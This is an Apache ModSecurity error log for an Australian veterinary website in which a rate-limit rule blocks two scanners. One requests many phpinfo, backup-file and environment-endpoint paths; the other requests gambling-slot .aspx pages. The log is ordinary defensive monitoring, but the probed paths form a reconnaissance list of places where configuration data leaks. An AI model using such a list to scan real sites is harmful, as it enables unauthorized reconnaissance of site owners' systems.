[Sat May 09 01:42:53.425399 2026] [:error] [pid 61317:tid 61330] [client 3.26.75.234:51404] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/server-status.php"] [unique_id "af4gnc-fFk_CedOCOYsO8QAAAUo"]
[Sat May 09 01:42:53.661283 2026] [:error] [pid 61356:tid 61394] [client 3.26.75.234:51406] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/_profiler/phpinfo"] [unique_id "af4gnYx3vpB8oWhUq2MtVwAAAcY"]
[Sat May 09 01:42:53.863715 2026] [:error] [pid 51008:tid 51070] [client 3.26.75.234:51410] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/_environment"] [unique_id "af4gnXB58C2Y1tgLtuLdowAAAFU"]
[Sat May 09 01:42:54.046303 2026] [:error] [pid 51008:tid 51060] [client 3.26.75.234:51422] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/webroot/index.php/_environment"] [unique_id "af4gnnB58C2Y1tgLtuLdpQAAAEs"]
[Sat May 09 01:42:54.301899 2026] [:error] [pid 61356:tid 61406] [client 3.26.75.234:51436] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail/phpinfo.php"] [unique_id "af4gnox3vpB8oWhUq2MtWgAAAdI"]
[Sat May 09 01:42:54.505883 2026] [:error] [pid 51009:tid 51079] [client 3.26.75.234:51438] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cpanel/phpinfo.php"] [unique_id "af4gnuB0GbUWhxgzX9WWxwAAAIM"]
[Sat May 09 01:42:54.688461 2026] [:error] [pid 61356:tid 61410] [client 3.26.75.234:51448] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hosting/phpinfo.php"] [unique_id "af4gnox3vpB8oWhUq2MtXAAAAdY"]
[Sat May 09 01:42:54.863001 2026] [:error] [pid 51008:tid 51054] [client 3.26.75.234:51454] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/webmail/phpinfo.php"] [unique_id "af4gnnB58C2Y1tgLtuLdqgAAAEU"]
[Sat May 09 01:42:55.093644 2026] [:error] [pid 51009:tid 51096] [client 3.26.75.234:51458] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/smtp/phpinfo.php"] [unique_id "af4gn-B0GbUWhxgzX9WWzgAAAJQ"]
[Sat May 09 01:42:55.338428 2026] [:error] [pid 51009:tid 51100] [client 3.26.75.234:51462] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/phpinfo.php.bak"] [unique_id "af4gn-B0GbUWhxgzX9WW0QAAAJg"]
[Sat May 09 01:42:55.573286 2026] [:error] [pid 51009:tid 51084] [client 3.26.75.234:51478] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/phpinfo.php.old"] [unique_id "af4gn-B0GbUWhxgzX9WW1gAAAIg"]
[Sat May 09 01:42:55.848717 2026] [:error] [pid 51009:tid 51086] [client 3.26.75.234:51490] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/phpinfo.php~"] [unique_id "af4gn-B0GbUWhxgzX9WW2AAAAIo"]
[Sat May 09 01:42:56.029788 2026] [:error] [pid 61356:tid 61400] [client 3.26.75.234:51496] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php.bak"] [unique_id "af4goIx3vpB8oWhUq2MtYgAAAcw"]
[Sat May 09 01:42:56.116990 2026] [:error] [pid 61356:tid 61393] [client 3.26.75.234:51502] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/phpinfo.php.save"] [unique_id "af4goIx3vpB8oWhUq2MtYwAAAcU"]
[Sat May 09 01:42:56.172131 2026] [:error] [pid 51008:tid 51062] [client 3.26.75.234:51508] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/staging/phpinfo.php"] [unique_id "af4goHB58C2Y1tgLtuLdrQAAAE0"]
[Sat May 09 01:42:56.229124 2026] [:error] [pid 61356:tid 61401] [client 3.26.75.234:51522] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beta/phpinfo.php"] [unique_id "af4goIx3vpB8oWhUq2MtZAAAAc0"]
[Sat May 09 01:42:56.296649 2026] [:error] [pid 61356:tid 61394] [client 3.26.75.234:51532] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uat/phpinfo.php"] [unique_id "af4goIx3vpB8oWhUq2MtZQAAAcY"]
[Sat May 09 01:42:56.364340 2026] [:error] [pid 61356:tid 61391] [client 3.26.75.234:51544] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/qa/phpinfo.php"] [unique_id "af4goIx3vpB8oWhUq2MtZgAAAcM"]
[Sat May 09 01:42:56.422159 2026] [:error] [pid 61356:tid 61395] [client 3.26.75.234:51554] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/preview/phpinfo.php"] [unique_id "af4goIx3vpB8oWhUq2MtZwAAAcc"]
[Sat May 09 01:42:56.481100 2026] [:error] [pid 61356:tid 61406] [client 3.26.75.234:51570] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/www/phpinfo.php"] [unique_id "af4goIx3vpB8oWhUq2MtaQAAAdI"]
[Sat May 09 01:42:56.537866 2026] [:error] [pid 61355:tid 61385] [client 3.26.75.234:51576] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htdocs/phpinfo.php"] [unique_id "af4goPkhJTi30CBXmMk6bgAAAZg"]
[Sat May 09 01:42:56.607387 2026] [:error] [pid 61355:tid 61375] [client 3.26.75.234:51592] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public_html/phpinfo.php"] [unique_id "af4goPkhJTi30CBXmMk6cAAAAY4"]
[Sat May 09 01:42:56.662676 2026] [:error] [pid 51008:tid 51066] [client 3.26.75.234:51600] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/site/phpinfo.php"] [unique_id "af4goHB58C2Y1tgLtuLdrwAAAFE"]
[Sat May 09 01:42:56.714785 2026] [:error] [pid 61355:tid 61367] [client 3.26.75.234:51616] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/docs/phpinfo.php"] [unique_id "af4goPkhJTi30CBXmMk6cgAAAYY"]
[Sat May 09 01:42:56.767564 2026] [:error] [pid 61355:tid 61371] [client 3.26.75.234:51624] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4goPkhJTi30CBXmMk6cwAAAYo"]
[Sat May 09 01:42:56.817819 2026] [:error] [pid 61355:tid 61382] [client 3.26.75.234:51630] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/administrator/phpinfo.php"] [unique_id "af4goPkhJTi30CBXmMk6dQAAAZU"]
[Sat May 09 01:42:56.873565 2026] [:error] [pid 34318:tid 34341] [client 3.26.75.234:51638] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/core/phpinfo.php"] [unique_id "af4goMr3guirgJiKhzAF2wAAARU"]
[Sat May 09 01:42:56.933108 2026] [:error] [pid 34318:tid 34324] [client 3.26.75.234:51650] [client 3.26.75.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/includes/phpinfo.php"] [unique_id "af4goMr3guirgJiKhzAF3AAAAQQ"]
[Sat May 09 01:49:46.397871 2026] [:error] [pid 61355:tid 61368] [client 51.83.7.88:58698] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "af4iOvkhJTi30CBXmMlDJQAAAYc"]
[Sat May 09 01:49:48.830326 2026] [:error] [pid 51009:tid 51082] [client 51.83.7.88:55962] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "af4iPOB0GbUWhxgzX9Wa2AAAAIY"]
[Sat May 09 01:49:51.372119 2026] [:error] [pid 51009:tid 51094] [client 51.83.7.88:55964] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "af4iP-B0GbUWhxgzX9Wa2wAAAJI"]
[Sat May 09 01:49:53.733513 2026] [:error] [pid 51009:tid 51082] [client 51.83.7.88:50024] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "af4iQeB0GbUWhxgzX9Wa4AAAAIY"]
[Sat May 09 01:49:56.251869 2026] [:error] [pid 61355:tid 61380] [client 51.83.7.88:50032] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "af4iRPkhJTi30CBXmMlDLwAAAZM"]
[Sat May 09 01:49:58.767144 2026] [:error] [pid 51009:tid 51078] [client 51.83.7.88:50042] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "af4iRuB0GbUWhxgzX9Wa5wAAAII"]
[Sat May 09 01:50:01.265514 2026] [:error] [pid 61355:tid 61381] [client 51.83.7.88:50052] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "af4iSfkhJTi30CBXmMlDMwAAAZQ"]
[Sat May 09 01:50:03.621115 2026] [:error] [pid 61355:tid 61375] [client 51.83.7.88:57514] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "af4iS_khJTi30CBXmMlDNgAAAY4"]
[Sat May 09 01:50:06.160155 2026] [:error] [pid 61355:tid 61373] [client 51.83.7.88:57526] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "af4iTvkhJTi30CBXmMlDRQAAAYw"]
[Sat May 09 01:50:08.546961 2026] [:error] [pid 61355:tid 61381] [client 51.83.7.88:57530] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "af4iUPkhJTi30CBXmMlDVwAAAZQ"]
[Sat May 09 01:50:11.036471 2026] [:error] [pid 61317:tid 61340] [client 51.83.7.88:57544] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "af4iU8-fFk_CedOCOYsSpAAAAVQ"]
[Sat May 09 01:50:13.567436 2026] [:error] [pid 61317:tid 61330] [client 51.83.7.88:55770] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "af4iVc-fFk_CedOCOYsSqgAAAUo"]
[Sat May 09 01:50:16.053367 2026] [:error] [pid 51009:tid 51077] [client 51.83.7.88:55772] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "af4iWOB0GbUWhxgzX9Wa-gAAAIE"]
[Sat May 09 01:50:18.563526 2026] [:error] [pid 51009:tid 51092] [client 51.83.7.88:55774] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "af4iWuB0GbUWhxgzX9Wa_AAAAJA"]
[Sat May 09 01:50:20.950896 2026] [:error] [pid 51007:tid 51028] [client 51.83.7.88:55786] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "af4iXFMagSGstWKyzzUffQAAAAY"]
[Sat May 09 01:50:23.303842 2026] [:error] [pid 61356:tid 61403] [client 51.83.7.88:53512] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "af4iX4x3vpB8oWhUq2MyqgAAAc8"]
[Sat May 09 01:50:25.796440 2026] [:error] [pid 61355:tid 61366] [client 51.83.7.88:53514] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "af4iYfkhJTi30CBXmMlDiwAAAYU"]
[Sat May 09 01:50:28.161996 2026] [:error] [pid 61356:tid 61404] [client 51.83.7.88:53520] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "af4iZIx3vpB8oWhUq2MytQAAAdA"]
[Sat May 09 01:50:30.673784 2026] [:error] [pid 51009:tid 51090] [client 51.83.7.88:53532] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "af4iZuB0GbUWhxgzX9WbBwAAAI4"]
[Sat May 09 01:50:33.180311 2026] [:error] [pid 61356:tid 61401] [client 51.83.7.88:33254] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "af4iaYx3vpB8oWhUq2MywQAAAc0"]
[Sat May 09 01:50:35.714193 2026] [:error] [pid 61356:tid 61408] [client 51.83.7.88:33270] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "af4ia4x3vpB8oWhUq2MyyAAAAdQ"]
[Sat May 09 01:50:38.076375 2026] [:error] [pid 51008:tid 51062] [client 51.83.7.88:33278] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "af4ibnB58C2Y1tgLtuLf7QAAAE0"]
[Sat May 09 01:50:40.600421 2026] [:error] [pid 51113:tid 51121] [client 51.83.7.88:33290] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "af4icEQfs7sWtqkpQIeeNAAAAMY"]
[Sat May 09 01:51:14.051514 2026] [:error] [pid 34318:tid 34325] [client 51.83.7.88:40702] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "af4iksr3guirgJiKhzAHagAAAQU"]
[Sat May 09 01:51:16.332779 2026] [:error] [pid 51007:tid 51038] [client 51.83.7.88:60112] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "af4ilFMagSGstWKyzzUf4QAAABA"]
[Sat May 09 01:51:18.815577 2026] [:error] [pid 61356:tid 61404] [client 51.83.7.88:60122] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "af4ilox3vpB8oWhUq2MzHQAAAdA"]
[Sat May 09 01:51:21.339030 2026] [:error] [pid 61356:tid 61403] [client 51.83.7.88:60128] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "af4imYx3vpB8oWhUq2MzJwAAAc8"]
